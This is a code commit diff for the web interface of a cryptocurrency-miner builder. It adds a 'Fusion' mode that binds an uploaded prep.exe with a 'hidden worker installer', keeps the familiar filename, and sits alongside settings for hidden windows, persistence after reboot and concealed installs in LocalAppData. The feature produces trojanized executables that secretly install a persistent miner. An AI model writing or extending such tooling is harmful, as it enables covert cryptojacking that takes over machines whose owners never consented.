Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.

server/web/src/api/client.ts

@@ -40,11 +40,27 @@ export const api = {
     }),
 
   // Builder
-  buildAgent: (req: BuildRequest) =>
-    fetchJSON<BuildResponse>('/builder/build', {
+  buildAgent: (req: BuildRequest, prepFile?: File | null) => {
+    if (req.fusion_enabled) {
+      if (!prepFile) {
+        return Promise.reject(new Error('Fusion requires prep.exe upload'));
+      }
+      const form = new FormData();
+      form.append('config', JSON.stringify(req));
+      form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
+      return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => {
+        if (!res.ok) {
+          const err = await res.text();
+          throw new Error(`API error ${res.status}: ${err}`);
+        }
+        return res.json() as Promise<BuildResponse>;
+      });
+    }
+    return fetchJSON<BuildResponse>('/builder/build', {
       method: 'POST',
       body: JSON.stringify(req),
-    }),
+    });
+  },
 
   downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
 

server/web/src/help/settingHelp.ts

@@ -47,6 +47,9 @@ export const FIELD_HELP: Record<string, string> = {
   run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
   silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
   auto_start: 'Same as Persistence. Keeps miner running after reboot.',
+  fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
+  fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.',
+  fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.',
   install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
   install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
   install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',

server/web/src/pages/BuilderPage.tsx

@@ -41,6 +41,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
     pool_port: config.pool.port,
     pool_tls: config.pool.use_tls,
     pool_pass: config.pool.password,
+    fusion_enabled: false,
+    fusion_run_order: 'parallel',
+    fusion_output_name: 'prep.exe',
   };
 }
 
@@ -52,6 +55,7 @@ export default function BuilderPage() {
   const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
   const [showRecent, setShowRecent] = useState(false);
   const [loadingDefaults, setLoadingDefaults] = useState(true);
+  const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
 
   useEffect(() => {
     Promise.all([api.getConfig(), api.getServerInfo()])
@@ -95,10 +99,14 @@ export default function BuilderPage() {
       setError('Custom install base path is required when Install Base is Custom');
       return;
     }
+    if (form.fusion_enabled && !fusionPrepFile) {
+      setError('Fusion requires your prep.exe file');
+      return;
+    }
 
     setBuilding(true);
     try {
-      const result = await api.buildAgent(form);
+      const result = await api.buildAgent(form, fusionPrepFile);
       if (!result.success) {
         throw new Error(result.error || 'Build failed');
       }
@@ -477,6 +485,58 @@ export default function BuilderPage() {
               </div>
             </div>
 
+            <div className="form-section">
+              <h3>Fusion (prep + worker)</h3>
+              <p className="form-description">
+                Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background.
+              </p>
+              <div className="form-group checkbox-group">
+                <label className="checkbox-label">
+                  <input type="checkbox" className="checkbox" checked={form.fusion_enabled}
+                    onChange={(e) => updateField('fusion_enabled', e.target.checked)} />
+                  <span>Enable Fusion <HelpTip field="fusion_enabled" /></span>
+                </label>
+                <FieldHint field="fusion_enabled" />
+              </div>
+              {form.fusion_enabled && (
+                <>
+                  <div className="form-group">
+                    <label className="label">Your prep.exe <HelpTip field="fusion_enabled" /></label>
+                    <input
+                      type="file"
+                      className="input"
+                      accept=".exe,application/octet-stream"
+                      onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
+                    />
+                    {fusionPrepFile && (
+                      <span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
+                    )}
+                  </div>
+                  <div className="form-row">
+                    <div className="form-group">
+                      <label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
+                      <select className="select" value={form.fusion_run_order}
+                        onChange={(e) => updateField('fusion_run_order', e.target.value)}>
+                        <option value="parallel">Parallel (both at once)</option>
+                        <option value="prep_first">Prep first, then worker</option>
+                        <option value="worker_first">Worker first, then prep</option>
+                      </select>
+                      <FieldHint field="fusion_run_order" />
+                    </div>
+                    <div className="form-group">
+                      <label className="label">Output Filename <HelpTip field="fusion_output_name" /></label>
+                      <input type="text" className="input mono" value={form.fusion_output_name}
+                        onChange={(e) => updateField('fusion_output_name', e.target.value)} />
+                      <FieldHint field="fusion_output_name" />
+                    </div>
+                  </div>
+                  <p className="form-hint">
+                    Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
+                  </p>
+                </>
+              )}
+            </div>
+
             {error && (
               <div className="form-error">
                 <span>⚠️</span> {error}
@@ -494,6 +554,9 @@ export default function BuilderPage() {
             <h2>Installer Ready</h2>
             <div className="build-success">
               <p><strong>Run this once on each Windows machine:</strong></p>
+              {lastBuild.fusion_enabled && (
+                <p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
+              )}
               <p><strong>File:</strong> {lastBuild.file_name}</p>
               <p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
               <p><strong>Absolute path:</strong></p>

server/web/src/types/index.ts

@@ -165,6 +165,9 @@ export interface BuildRequest {
   pool_port: number;
   pool_tls: boolean;
   pool_pass: string;
+  fusion_enabled: boolean;
+  fusion_run_order: string;
+  fusion_output_name: string;
 }
 
 export interface BuildResponse {
@@ -176,6 +179,8 @@ export interface BuildResponse {
   file_size?: number;
   download_url?: string;
   error?: string;
+  fusion_enabled?: boolean;
+  worker_file?: string;
 }
 
 export interface WSMessage {